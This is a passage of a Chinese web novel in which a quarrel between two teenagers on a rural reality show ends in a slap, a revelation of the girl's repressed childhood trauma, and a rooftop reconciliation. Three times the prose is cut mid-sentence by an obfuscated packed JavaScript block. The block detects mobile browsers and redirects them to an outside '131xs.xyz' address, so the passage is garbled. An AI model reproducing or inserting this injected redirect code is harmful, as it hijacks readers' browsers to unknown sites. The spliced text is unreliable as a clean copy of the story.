那一瞬间,一种难以言喻的柔软软化了他的心脏,他轻声叹了一口气,想问她为什么对她们这么好。祝娟还能用青梅的情谊解释,那周丽呢?其实他看得出来,她和周丽并没有熟悉到要为对方拼命的地步,可她还是竭尽所能。 也许是此时的氛围十分适合谈心,她摊开手掌,看着自己长着薄茧的掌纹,用一种不知是无奈还是别的什么语调小声地说:“有时候……我会觉得自己很没用,我看起来忙忙碌碌,这个也想帮那个也 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从来没有人和她说过这种话,在这座山里更不能渴望什么深度交流,祝婴宁愣了愣,呆滞了很长时间,才微微一笑,眼眶泛湿:“……嗯。”她想了想,忍不住说,“我觉得你并不自私。” “是吗?那是你还不够了解我。”许思睿乐了。 他们对视两眼,忽然哈哈大笑起来。 本来这场谈心结束在此刻便可称皆大欢喜,可人生就是十有八九不能如意。 笑完以后,祝婴宁忽然轻叹道:“可我还是觉得可惜,如果周丽父母也像我们家一样不重男轻女就好了,她都已经读到初中了,她只是缺少一个机会。” 许思睿的笑意还残留在脸上尚未完全褪去,闻言,像听到什么天方夜谭,不可思议地皱了皱眉:“你说什么?” 她以为他如此反问是因为没听清,于是傻乎乎地又重复了一遍:“我说,要是周丽父母也像我们家一样不重男轻女就好了,她……” “……祝婴宁,我觉得你对重男轻女的定义有问题。”刚刚谈话的那点温馨和默契已然消散,许思睿蹙眉鄙夷道,“你爸妈都不算重男轻女,那什么叫重男轻女?搞笑。” 她震惊地瞪大眼睛,眼神里是不加掩饰的茫然和困惑:“你胡说八道什么?你干嘛这样说我阿爸阿妈?” 她这副堪称不谙世事的蠢样莫名让许思睿心里油然而生一股烦躁。 其实他并不是一个喜欢触犯他人边界的人,他清楚有些谈心可以增进人与人之间的关系,有些谈心只会造成撕裂,如同柴刀劈开早已腐朽的木头,木头难道会因此心生感激吗?这行为只是促进了它的死亡。他不喜欢被他人冒犯边界,所以也对他人的边界格外敏感。看祝婴宁现在的表情就知道,这场谈话继续下去只是两败俱伤,但他克制不住心里那股因她这副蠢样而翻腾的怒火。那股怒火换个名字,应该叫恨铁不成钢。 “你是真傻还是假傻?”他不客气地披露已知的真相,“这场综艺说是让山里品学兼优的人有机会走出大山体验城市生活,你成绩明明比你弟弟好,你说你次次都能考第一,那为什么你父母不让你去城里,反而让你弟去?” 42. 掌掴 他发现他说这段话之前,祝婴宁死死盯着他,神色显得异常紧张,眼神深处还有一股惶恐,可当他说完这段话之后,她的紧张便莫名消退了,甚至还笑着跟他说:“因为你是男生啊,如果是我换去你家,我一个女生住在你卧室,会产生很多不方便,我弟弟是男生,就没有这方面的顾虑了。我弟弟换过去是我爸妈和节目组共同讨论的结果,你真的误会了许思睿。” “我草。” 她这副油盐不进的样子让许思睿更恼火了,“那我他妈一个男的,我换过来和你一个女的同床共枕,难道就方便了?你弟留在这,我和你弟一起睡,不是更方便吗?” 祝婴宁没想过这一层,被他说得愣了愣:“可是……” “别可是了,如果你觉得这不能说明问题,那你们家那个艺术照为什么只有你弟有?” “都说了因为我弟最小呀。”她像是急着想证明什么,语速比平时快,“如果是我年龄最小,那肯定是轮到我拍,你为什么就是想证明我爸妈重男轻女?” “我真的服了祝婴宁,你们是龙凤胎!”许思睿没忍住对她吼了起来,“你弟就算比你小也只是小那么几分钟,能小到哪里去?况且龙凤胎谁大谁小本来就全凭你父母一张嘴,他们想说谁大就说谁大,你能不能别那么有姐姐的意识?” “我就是乐意当姐姐,你不要总把人与人之间的关系想得这么不堪,我是自愿的。”她攥了攥手心,忽然轻声蹦出一句。 “?” 许思睿深刻体会到了什么叫好心被当驴肝肺,如果现实世界有特效,他的头顶肯定被气得冒烟了,“你真够牛逼的。那我告诉你,你妈妈当初偷我的羽绒服,是想偷给你弟弟穿,我在那个什么萍姐家门外听到她亲口说的,她压根没提到过你!” “那是因为……因为你是男的!你的羽绒服当然只能给我弟弟穿。”她声音已经不自觉拔高起来,眼神躲闪,眼珠微微震颤,额头上也沁出了细汗,许思睿产生了一种自己在逼供犯人的感觉,但他这人一处在气头上就有点刹不住车了,越是看她妄图遮掩,他就越是想撕掉这层遮羞布。 “那手机呢?为什么你弟有手机?” “他要去城里,肯定得有手机保持联系啊!” 许思睿还想再举证点什么,就听祝婴宁咽了咽口水,急切地说:“我阿爸阿妈可担心我了,之前总交代我必须天黑以前回家,不然他们看不到我会担心的。他们其实非常关心我的。” 提起这个许思睿更是一头雾水,本来就在气头上,见她这样,顿时口不择言起来:“你放什么狗屁,你那天去找那个叫澄澄的小屁孩,那么晚才回家,你妈根本连关心都没有关心一句,我看她睡得跟猪一样,你死在外面了她都不知道,我看你是在自作多情吧……” “许思睿!!” 她猛然用一种前所未有的尖刺的语调尖叫起来,用尽全身力气打断他接下来的话,声音撕心裂肺,像是从喉咙里呕出来的一样,眼眶里也毫无预兆滚出了两行泪。 这声尖叫几乎扎破许思睿的耳膜,她突如其来的眼泪也像核弹爆炸,他被她异常的反应吓了一跳,火气突的消了,刚想问她怎么了为什么这么激动,就见她举起了右手,然后—— 啪的一声脆响。 左脸一阵辣痛,他的头被她扇得猛然侧向了一边。 “你说够了没有?” 她哽咽着,声音剧烈颤抖,就这么举着掌心泛红的右手,瞪大眼睛死死地盯着他,费力地喘息着,过了足足五秒,才猛然推开他,朝山洞外跑了出去。 ** 许思睿直接石化了。 他长这么大,犯浑的时候不少,许正康没少揍过他,但即便是许正康,也从来没扇过他的脸,顶多就是抽抽大腿或者屁股这种肉厚的地方。 而现在,他居然就这么华丽丽地挨了祝婴宁一巴掌。而且她完全没有对他手下留情,本身力气就大,这一掌又在气头上,带着十成十的怒气,不仅把他的脸扇偏了,他甚至觉得耳边嗡嗡作响,口腔内壁的肉也像是被牙齿磕到了,有股淡淡的铁锈味迅速弥散开来。 好样的…… 真他妈好样的。 从最初挨了巴掌的呆滞中反应过后来,许思睿气得连牙齿都在发抖。 他居然上一秒还在安慰她“做自己就好”,下一秒就被当事人扇了一掌,不管哪件事单独拎出来都很异常,更不要说这两件事还组合在一起。他杀了祝婴宁和她同归于尽的心都有了。 蜡烛还在摇曳,将她仓皇离开时忘了收起来的铁盒的影子投映在穴壁上,晃晃悠悠,如同大风大浪中的一叶小舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582058|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。许思睿觉得自己就该直接把她这盒破信给烧了,刚好这里有蜡烛有火柴,不烧白不烧。什么祝娟,什么周丽,最好全都去死!他就是吃饱了撑的才来管祝婴宁的破事! 然而带着满腔怒火粗暴拾起那叠信件以后,看到上面被黑笔仔细涂黑的地址,看到祝娟留给她的那串添加了以后至今没有任何回应的Q|Q号,看到几分钟前她还仔细问过他的那些邮票,那些庐山,长城,洱海……他忽然又觉得手腕上像是压了块石头,沉甸甸的,沉到他根本没有力气把这叠信件举到燃烧的蜡烛上。 把信件放回铁盒,并把铁盒盖子仔细盖好以后,许思睿觉得自己简直是天生贱种。 天选的受虐癖。 靠! 火气无处发泄,他只能猛踹了洞壁一脚,这一下差点没把脚趾踹骨折,他痛嘶一声,抱着那只脚弯腰蹦跳起来,面目狰狞地缓了好一会儿才缓过劲儿。 得,更生气了。 他气到极点,简直想哭,撇着嘴巴吹灭蜡烛,强忍着泪水转过身,就见山洞门口站着一个人。 不是祝婴宁。 那一瞬间用肝胆俱裂来形容都不为过,许思睿关于黑暗和鬼怪的想象在此达到顶峰,他尖叫一声,如同惊弓之鸟弹向山洞深处,贴着山洞内壁,第一反应是尖叫哭喊着周天澜的名字——看来在极端恐惧下呼喊妈妈是人类共有的本能——只是惊吓到了极点,喉咙像被棉花堵住,才没有顺利叫出声。 那人见他吓成这样,先是嘎嘎笑了两声,然后才掀开山乌龟,把皱巴巴的老脸伸了进来。 看清来人是谁以后,许思睿大声爆了句粗口。 是那个挖坑害自己掉进坑里,后来又借给祝婴宁清弓的老猎人。 “你神经病啊!知不知道突然吓人会吓死人的!”许思睿又羞又窘又气,一边抹着眼角吓出来的眼泪一边暴跳如雷。 老猎人指了指山洞,又指了指祝婴宁离去的方向,最后指了指他,嘴里用方言叽里咕噜不知道在说什么,许思睿完全没兴趣知道,本想直接搡开他年老的身躯,又怕不小心把他推倒在地,这人摔出个好歹从此讹上自己,只好不耐烦地催他滚开。 直到老猎人摇着头嘴里嘟嘟囔囔着方言滚开了,他才大步流星踏出山洞,心里对这里的一切都厌恶到了极点。 43. 冷战 许思睿心里气得不行,但由于人在屋檐下,最后还是不得不觍着脸回到了祝婴宁家。 发现她已经躺到了炕上,背对他,一副懒得搭理他的样子后,他头一回这么痛恨起祝婴宁家没有单独的卧室。如果有单独的卧室,他们起码还能一人一间房独自生闷气,现在他刚挨了她一巴掌,她刚扇了他一巴掌,他们居然就得躺在同张床上睡觉,新婚夫妻吵架都不带这样的。 他憋屈地爬上床,侧躺着,同样留给祝婴宁一个冷冰冰硬邦邦的背影。 第二天早上醒来,他也没有主动和她说一句话。 他立誓绝不主动和她开口。 然后…… 就这么冷战了足足四天。 这四天里他一直在等着祝婴宁来给他道歉,但她对他视若无睹,没有一丁点儿要道歉的意思。他的心情不断在“搞笑,道歉了我也不会原谅你”和“居然还不来道歉?!”之间循环,活像个病入膏肓的人格分裂患者。 熬到了第五天,也就是新一周的周一,意识到祝婴宁真的没打算道歉后,许思睿有点破防了。 在这种破防的时刻,陈斌还突然找到他,说周五学校要举行个什么诗朗诵比赛,每班派十个人参加,希望他能积极参与。 许思睿实在想不通这么个小破学校怎么课余活动还这么丰富,又是篮球赛又是诗朗诵的,书都教不过来了,搞这些活动有意思么? 然而看着陈斌认真的脸庞,他最终还是没把这番迁怒的话说出口。 他从小到大也算见过不少认真负责的老师,但能做到陈斌这样坚持在山村执教的,说实话,少,很少,也很难得。尽管陈斌教学水平并不怎么突出,可许思睿看得出他是真心想尽自己的绵薄之力让山里的孩子们尽量度过丰富多彩的校园生活,所以,当陈斌拍着他的肩膀,兴致勃勃地说“这是一个增强集体荣誉感的好机会”时,他没有像往常那样直接甩脸子走人,心里反而还有股又好气又好笑的无奈,怀疑祝婴宁那副一板一眼说服他参加集体活动的态度就是从陈斌这学来的。 而且,这种集体活动,祝婴宁肯定会发挥劳模本色,孜孜不倦参与其中。想到这,许思睿就觉得参加一下也无妨。当然,他并不是想要借此由头和她重归于好,而是幼稚地想要害她无法顺利开展活动。 总之,出于种种不可告人的目的,许思睿答应了。 陈斌非常欣慰,摘下眼镜,抹了抹眼角并不存在的眼泪,说:“我就知道你是一个好孩子。” 到了放学商定好的排练时间——冷战了五天的祝婴宁终于主动来叫他过去配合排练时,许思睿发挥出“好孩子”的本色,从胸腔里冷冷哼了一声,转身走出教室,直接罢工走人了。 “许思睿!”她站在他身后不可置信地喊他。 许思睿心里顿时涌起一股微妙的舒爽,她语气里的气急败坏让他连续憋了五天闷气的肺腑瞬间轻盈起来。他大步流星,头也不回,很快走出了校门,来到回家的山道上。跟在他身后的摄影师小跑着追上他,摇头感慨:“许思睿,虽然我还是不知道你俩为什么吵架,但是你真的很幼稚。” “……” 他瞪了摄影师一眼,“我就幼稚,关你屁事。” 回到家里,想到祝婴宁说不定还在学校焦头烂额,许思睿就觉得更爽了。他伸了个懒腰,站在门口吹风。 可人有时候就是这么贱,站在门口吹了十分钟夏季傍晚的热风,他忽然又感到索然无味,觉得自己的行为确实蛮没意思的。 这时他眼尖地发现住在村口的老猎人从别的村窜门回来了,左手拿着一包皱巴巴的烟,右手从中抽出一支叼在缺牙巴的嘴里,从裤兜里摸出打火机,颤巍巍的,正要给自己点燃。 有时候,人和人之间的相处就是这么神奇。 不需要太多矫饰的借口,只是需要一点好奇而已。 他看着老头点烟的动作,想起这老头那天晚上出现在山洞外边,咿咿呀呀像是要说什么,心里莫名迟来地浮上了一丝好奇。闷热的晚风,湛蓝的山色,昏黄的天际,以及一个说着方言的老猎人,所有这些意象共同烘托出了他心里那丝浅浅的好奇,如同一颗豆子被文火煨出淡淡的豆香。 十几岁的年纪,好奇了便探索,这对许思睿来说是再天经地义不过的事了。 他朝那老头走过去,同样大步流星。 老猎人眼神不好,没看到他,点燃了烟便要进屋,许思睿只好大声“喂”了一声,拦在他面前,开门见山地问:“你那晚要和我说什么,就是关于祝婴宁的事?” 老猎人用浑浊的眼球看了他几眼,本身说话方言就重,再加上嘴里叼着烟,指手画脚,哇啦哇啦说了几句,许思睿压根没听懂,甚至没搞明白他的意思是想说还是不想说。他意识到他们之间的沟通必须有中介,或者说翻译,否则完全无法进行,恰好眼角余光瞥见旁边有个小孩路过,于是他伸长手,直接把小孩提溜了过来,扔进老猎人屋里,自己也走进去,毫无麻烦别人的自觉,理所当然冲小孩道:“好了,你帮我翻译一下吧,这老头在说啥?” 直到发号施令完,他才觉得这个小孩有点眼熟,想了一下,恍然道:“你叫澄澄吧?别傻愣着,赶紧给我翻译一下。” 谁知澄澄很不给面子,扭了扭身子就要朝屋外跑,只是人矮腿短,没跑几步又被许思睿逮了回来。 他纳闷道:“你跑什么?” 澄澄看向老猎人:“他长得吓人,而且丑,他是妖怪。” “……” 许思睿默了默,没想到自己有一天居然还得充当育儿导师,“不要以貌取人,这样很没素质,我还觉得你长得像颗豌豆呢。” 澄澄挣扎无果,只好任由许思睿把他提溜了回来。 “接下来我问什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594438|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就帮我用方言翻译给老头听,顺便把老头的话翻译给我听,知道了吗?”他交代。 澄澄不说知道了,也不说不知道,挠了挠头,又扯了扯卡进屁缝里的裤子,像有多动症似的在老猎人屋里打量来打量去。 许思睿拿他没办法,只能自顾自先问了自己想知道的问题:“你那晚到底想和我说什么?”还好澄澄还算靠谱,基本帮他把话都翻译到位了,也把老猎人的回答如实翻译了。但老人讲话没啥逻辑,他自己拼拼凑凑,在脑海中梳理着老猎人的答案,勉强拼凑出一个符合表达逻辑但意思又十分离奇的句子:“你说……祝婴宁有癔症?” 说完他自己都被这离谱的答案逗乐了。 不能吧,她看起来很正常啊。 澄澄看着老猎人的嘴,帮忙翻译道:“他说是真的,宁宁姐真有癔症。” 许思睿便嘶了一声:“怎么个癔症法?” 老猎人手舞足蹈,连说带比划,澄澄如实转达:“他说,宁宁姐六岁,呃,也可能是七岁的时候,有一回爸妈爷奶都不在家,就剩她和弟弟两个小孩在屋里,她忙着做家务,没看住弟弟,她弟自个儿贪玩跑进了山里。家里大人回来以后急坏了,觉得是宁宁姐没看住他,把她打了一顿,还赶她去深山里找弟弟,没找到就不许回家。她就一边哭一边往山里头去找人了。结果宁宁姐走了没多久,她弟就自己回了家,一家人其乐融融吃起了晚饭,聊天打屁,没人记得她还在山里。她在山里迷了路,一直到深夜都出不去。” 而老猎人年纪大了,觉浅,经常失眠,睡不着的时候,他习惯去山里逛一圈,也是赶巧,那天凌晨被他捡到了深山里迷路多时并且哭得不成人样的祝婴宁。 “他说宁宁姐惊吓过度,被鬼上了身,睡了一觉起来,就把这件事完全扭曲了,记成了是她自己不小心在山里迷了路,被担心自己安危的父母亲自找了回来。” 听到这,许思睿愣了很久。 刨除老猎人的叙述中那些“癔症”啊“被鬼上身”啊之类的迷信说法,他很确定祝婴宁的表现就是创伤后应激障碍的典型症状,为了避免重复想起这段令自己应激的回忆,她的潜意识帮她完成了一场精妙绝伦的记忆篡改,把“父母担心祝吉祥”这件事里的宾语替换成了自己。 但她的潜意识仍对老猎人救了自己的事留有模糊的印象,于是当村里的孩子都因为老猎人长得凶不敢靠近他时,只有她对他拥有莫名的信赖。也是出于这份信赖,老猎人才教她打猎,偶尔把自己视为珍宝的清弓借给她玩。 而祝婴宁的父母后来可能也觉得自己把亲生孩子丢在山里到深夜的行为不太好,沉默地接受了祝婴宁出于创伤后应激障碍安给他们的好父母人设,直至现在。 澄澄还在翻译:“他让你别在宁宁姐面前提这件事,别激起她的癔症,免得她又被鬼上身。他说你那晚不该那样和她吵架的。” 44. 秘密 许思睿不是那种听完一个可怜的故事就会立马跪到当事人面前说“对不起我错了”然后狠狠抽自己几巴掌的人,可不得不承认,事情的真相还是让他浑身不得劲起来,这股不得劲延续了很久,久到从老猎人家离开,心里也始终闷闷的。 晚上看到祝婴宁回家,虽然依然拉不下面子主动跟她搭话,但他难得收回了那副活像被她欠了几百万的臭脸。 隔天放学,当祝婴宁再次叫他参加诗朗诵排练的时候,他也没再像昨天那样幼稚兮兮地甩身走人。 诗朗诵的篇目在他昨天走人的时候已经经由大家讨论确定了,尽管如此,她还是抱着尊重每个参与成员意见的想法,把确定的诗歌拿给他看,问他有没有异议。 许思睿粗略扫了两眼,本来以为这种诗朗诵节目必然是朗诵各种耳熟能详的古诗或者红色现代诗,没想到他们挑的篇目还挺小众的,是席慕容的《山月》。他来了点兴趣,接过来仔细看了看。 诗歌不长,很容易就读完了,诗风纤柔细腻,美丽透明,怅惘而不伤恸,是一首关于青春的哀歌。 他惊讶于祝婴宁竟然会挑这种风格的诗,虽然没有直接询问,但他完全可以肯定这首诗是她提议的,因为——这样说不太好,可是其他人并没有她这种广博到堪称如饥似渴的阅读量。 “我没有意见。”他合上她的本子。 祝婴宁接过本子,点了点头:“那就开始排练吧。” 山里的孩子很质朴,这种质朴体现在他们对待在许思睿看来没什么意义的诗朗诵比赛也依然抱持着难得的认真,这要换成他以前的学校,大家铁定逃的逃走的走,敷衍的敷衍,吐槽的吐槽,唯独这里的每个学生排练时都卯足了劲儿在朗诵,朗诵得脸红脖子粗,声音嘶哑,大汗淋漓,和早读那股像要上阵杀敌的架势一样。祝婴宁不得不暂停了好几次,向其他人强调这首歌的情感基调,让他们别那么群情激昂。 半小时后,排练结束,学生们各自收拾起书包,各回各家各找各妈。 许思睿慢吞吞收拾着自己的东西,抽空看了身旁的祝婴宁几眼。 其实他也不知道自己为什么要看她,就是觉得几天前的吵架波及深远,搞得他俩现在说话的氛围依然怪怪的,虽然刚刚排练时说了话,但也不知道究竟算和好了还是没和好。 正暗自尴尬着,她忽然对着空气说了句:“你知道我们这栋教学楼有个天台吗?” “啊?”许思睿下意识朝身后瞄了眼,发现身后没人,身前也没人,才应道,“……不知道,怎么了?” “上去看看吧。”她说完就径直走了出去,还对摄影师摆了摆手,示意不要跟拍。 天台这种意象放在青春偶像剧里是表白圣地,然而基于那个巴掌带来的阴影,以及这几天的冷战,许思睿不得不怀疑祝婴宁叫他上去是想瞒着摄影师揍他一顿。他一边思考着如果真的挨揍,他究竟是该转身逃跑还是忍气吞声任由她发泄,一边深一脚浅一脚跟了上去。 和这座陈旧的教学楼给人的印象相同,天台同样空旷荒芜,地面由于下雨天没有及时清扫而堆积了许多深浅不一的黑泥,角落里摆满久无人用的扫帚,正中央却很有生活气息地晾了一床花棉被——不知道是哪个教职工忘在这里的。 远处是山,山外是天。 连绵的大山有一种亘古洪荒的深沉感,远远望去,分不清哪一边才是世界的尽头。 她走到栏杆那,深吸一口气,猛然转过身。 转身的动作过于迅疾,激起了许思睿一些不好的回忆,他立刻条件反射用手背挡住脸,大叫:“打人不打脸,打脸伤自尊!” “?” 祝婴宁脸上的严肃差点没维持住,哭笑不得道,“你想什么呢,我叫你过来是想跟你道歉的。” “道歉?”他瞪大眼睛,解读了很久才解读出这两个字的意思,完全忘了不久前他还在津津有味幻想祝婴宁跟他道歉的场景,震惊道,“可是……” 她摇了摇头,打断他的话:“我想了几天,觉得不管怎么样,先动手就是不对。” “可……” “我自己说了君子动口不动手,自己却没有做到。”她站在他面前,平静地注视他,眼神澄澈,声音不高不低,不卑不亢,用足够他听清的音量说,“许思睿,我为我打了你向你道歉,对不起。” 这实在太突兀了。 许思睿咬了咬牙,静默良久,才从牙缝里挤出了几声含糊的声音:“……你这是在逼我。” 祝婴宁没料到他是这种回答,对他的控诉一头雾水,困惑道:“逼你什么?” “逼我对你感到愧疚。” 本来听完她的童年经历,他对她只有模模糊糊的两三分愧疚,结果她这么一道歉,那点愧疚就像未熄灭的火种,被风一吹,哗啦啦烧成了摧枯拉朽的山火。他现在觉得自己简直太不是人了,山上的野猪,不对,山上的石头都比他有人性。起码人家还有概率沐浴天地灵气变成猴。 而更诡异的是他们接下来的对话,因为祝婴宁听完,居然很认真地思考了一会儿,问他:“那怎么办?” “我怎么知道?” “要不你也跟我道歉好了,这样可以缓解一下你的愧疚。” “?” 他抿了抿唇,斟酌片刻,答,“……不行。” “为什么?” “不知道,虽然很愧疚,但我就是道不出来。” “你努力一下。” “努力不了。” “你克服一下。” “克服不了。” 说完,他们大眼瞪小眼地看着对方。 在长达五秒的沉默后,许思睿忽然感觉到一股不知来由且难以形容的笑意,牙尖咬住口腔内壁的皮,努力压抑了一会儿,问:“你不觉得我们的对话特像两个弱智吗?” 她眨巴着眼睛:“不觉得吧。” 说完嘴角翘起来,又赶紧调动脸部肌肉把翘起的嘴角抚平了,就像被人敲了膝盖以后强行按着小腿,不让它产生膝跳反应一样。 许思睿本来只有一丁点想笑,一看她忍笑得堪称滑稽的表情,瞬间憋不住了,和之前那几次一样,嘴唇哆嗦几秒,和她同时爆笑起来。 陈旧且空旷的天台,他们笑得像此起彼伏的琴键,一个站起来了,另一个笑趴了,好不容易直起了腰,又被笑意接连戳下。要是此刻不是傍晚,而是深夜,他们诡异的笑声绝对会成为学生津津乐道的校园鬼故事。 一直笑到两个人腹肌绞痛,神色痛苦,仿佛中了什么泻药,祝婴宁大喊一声“够了!”——也不知道是在说给自己听还是喝令他——他们才终于慢慢止住笑,一个蹲在地上,一个扶着栏杆,表情狰狞地缓和着酸痛的腹直肌。 昏黄的暮色垂怜大地,将一切润上沉静的滤镜。许久过后,许思睿伸出手,看到自己的手掌在暮色下呈现出胶片的色泽。他忽然想起放学时翻阅她那本诗摘时,无意间看到的另一句诗—— 我喜欢将暮未暮的原野,一切颜色都已沉静,而黑暗尚未来临。 诗歌软化了现实与诗歌的界限,他长久地凝视自己手掌的纹路,微微一笑。 “喂,祝婴宁。” “嗯?”她扶着栏杆回过头,额角还有刚才笑出来的细汗,在暮色下闪着细碎的光。 “我有没有跟你说过我被送来这的理由?” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604801|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不解地眨了眨眼:“不是因为网瘾吗?” “那只是一部分原因。”他垂下视线,用手指扒拉着地上的一株杂草,“主要原因不是这个。” “啊。”她轻轻啊了一声,依稀意识到主要原因不是什么好原因,体贴地选择了缄默。 但许思睿自己开口说了,他不是喜欢主动倾诉秘密的人,可也许是黄昏作祟,也许是这山色拉近了他们之间的距离,他莫名想说点什么,说些不太愉快的事,连同他的卑劣一起。 所以,他破天荒用一种倾诉的口吻说: “在我以前那个学校,有个女生喜欢了我很久,从小学五年级一直追我到初二吧,但我对她没兴趣,拒绝了她几百次她也不听,还是死缠烂打,我拒绝人的方式你也知道,反正我还挺纳闷她为什么这么执着的。后来被她缠得烦了,我就说可以和她交往,前提是她能够在某个游戏联赛里打到第一名。这条件是我随口说的,因为这个比赛特别难打,而且她也不擅长游戏,我本意是想让她知难而退,但她特别执着,从那天以后一放学就泡在网吧里,比我玩游戏还痴狂,后来那个联赛……” 她原本静静听着,听到这,才插了一句:“她打到第一名了?” “没有。”许思睿抿了抿唇角,抬起头,漆黑的眼睛看着她,“我不想和她交往,所以瞒着她创了个号亲自参加比赛,把她打趴下了。她辛苦努力了几个月,最后只拿到第二名。她来找我的时候很伤心,说她可能和我有缘无份,所以这次真打算放弃追我了。我听完其实还挺高兴,应该说如释重负,反正之后我就没再理她了。但是过了几天,不知道她从哪里听说了事情的真相,得知是我出尔反尔,亲自创号参加比赛阻挠了她,然后……” 他挠了挠脸颊,“她就爬上了我们教学楼顶层。” “啊?!”祝婴宁瞬间紧张起来,心脏跳得飞快,艰难地咽了咽口水,“那……?” “没死,已经爬上去要跳了,被消防员救下来了,现在休学在家……也可能已经复学了,我不知道。” 她悬起的心脏这才稍安,可是看向许思睿的眼神还是难免变得复杂起来。 在长时间的沉默后,他才摊开手,对她说:“你想说什么可以直说。” “我可以说吗?” “说吧。” “真的?” “嗯。” 祝婴宁叹了口气,在他面前蹲下来:“那……你后来有跟她道歉吗?” “没有。” 她露出很难过的表情,组织了一会儿语言,才轻声开口:“既然你让我说,那我就说了。许思睿,一码归一码,我知道她死缠烂打是她不对,可是……可是我觉得这不是你伤害她欺骗她的理由。”顿了顿,她才继续说,“我知道这个要求很讨厌很过分,也很自以为是,你可以选择不听,但假如你想听的话,你能答应我,回去以后好好跟她道个歉吗?” “我觉得道歉了也没用。” “她原不原谅是她的事情,你有没有道歉是你的事情。”她用她那双黑白分明的眼睛静默地注视他,“许思睿,这是两码事。” 她的眼睛像有魔力,如同山石镇压下来,奇异地压平了许思睿心里所有涟漪,他感到一股前所未有的宁静,说不清任何道理。所以他点了点头,用自己都不敢相信的温顺说:“好。” 她这才笑了笑,刚要站起来,他忽然伸手拽住了她的手腕。 祝婴宁愣了愣。 他手心干燥且暖热,温度比她的手腕高很多,以至于她有种被烫到的错觉。 “祝婴宁。”他就这样拽着她的手腕,看着她的眼睛,用低沉的声音轻声道,“对不起,我那天不该那样说你。” 45. 突兀 她清晰地听到了他的道歉,可大脑就像坏掉的仪器,对那些简单的词句解读无能,不断报错,唯一的感受是—— 他手心好烫。 她对类似场景的处理经验无限趋近于零,对视几秒后,在一种不知道是尴尬还是紧张的心绪的催逼下,双唇微张,没头没尾蹦出一句:“刚刚不是说道不出来吗?” 许思睿直白地注视她的眼睛:“忽然就道得出来了。” “不是说努力不了……” “忽然就努力成功了。” “不是说克服……” “忽然就克服成功了。” “哦。”她点点头,像领导上山下乡视察基层干部的绩效,点评道,“那,挺好啊。”说完再次点了点头,自己附和自己。 许思睿就垂头笑了起来。 不同于刚才那种狂放不受控制的大笑,此时此刻,此情此景,他的笑声带着几分轻哑的沉,既像揶揄,也像一声无奈的叹息。暮色四合,山影交叠,他们像被抛掷在世界的角落里,周围格外安静。他的笑声从肌肤相触之处传过来,被他握住的手腕甚至能隐隐感受到他低笑时身体的震动,如同一场三|级地震,无人察觉,无人知晓,无人在意,却在构成她身体地壳的血管里激起细微的波澜。 被他笑得脸颊微烫,她咬了咬下唇,装出若无其事的样子把手抽出来,左看看,右看看,没话找话地说:“天色不早了,先回去了吧?” “好啊。”他嘴角仍挂着浅淡的笑,同样若无其事把手收回来,从地上站起身。 祝婴宁立刻松了口气,像身后有鬼在追一样,率先大步流星朝天台楼梯那儿走。 结果,还没走出几步,身后就传来许思睿龇牙咧嘴的怪叫:“呃……!你等等。” “怎么了?”她疑惑地回头。 只见许思睿扶着天台的护栏,表情扭曲,脊背佝偻,双腿颤颤巍巍,像个学习走路不久的婴孩:“靠,我蹲太久,腿麻了!” “……” 那点暧昧的氛围瞬间荡然无存。 ** 回到家里,许思睿还在和她争执究竟是腿麻更难受还是抽筋更难受。 祝婴宁本来不想和他争论这么幼稚的话题,但这人没完没了,跟只恼人的蚊子似的,嘤嘤嗡嗡不停。她被他烦得不行,最后不得不加入口舌之战,说:“当然是抽筋啊,你会觉得腿麻更难受是因为你刚刚经历腿麻,这种感觉对你来说更鲜明,但腿麻只是麻,抽筋是疼,疼!哪有可比性?” 许思睿翻着白眼:“抽筋抻一下就好了,腿麻你怎么处理?一个能快速缓解,一个不能,肯定是没法处理那个更难受啊!” “我和你说不通。”她摆摆手走向厨房,接替忙碌的刘桂芳,开始烧菜。 许思睿也跟了进来,靠在炉灶边缘,抱臂哼道:“我跟你这种人才说不通。” “……” 她从屋顶垂吊下来的风干腊肉里翻找出一块,拿到案板上,叹了口气,纳闷地撇撇嘴,“许思睿,我们就非得讨论这么没营养的话题吗?” 他乐道:“知道没营养你还跟我争。” “明明是你……唉算了。”她投降,开始切肉,心想人不要脸果真天下无敌。 也不知道赢了这么无聊的争执究竟有什么好高兴的,他在她旁边傻乐了半天,才蹭过来帮她剥蒜。 这时杨吉从屋后走进厨房,看向许思睿:“我有事跟你说。” “待会再说。” 他正专注于剥蒜,头也没回,所以也就没有看到身后杨吉黑沉的脸色。 负责跟拍许思睿的摄影师留意到了杨吉的异状,走过去,低声问:“怎么了?” 杨吉朝他勾勾手指:“你先跟我出来。” 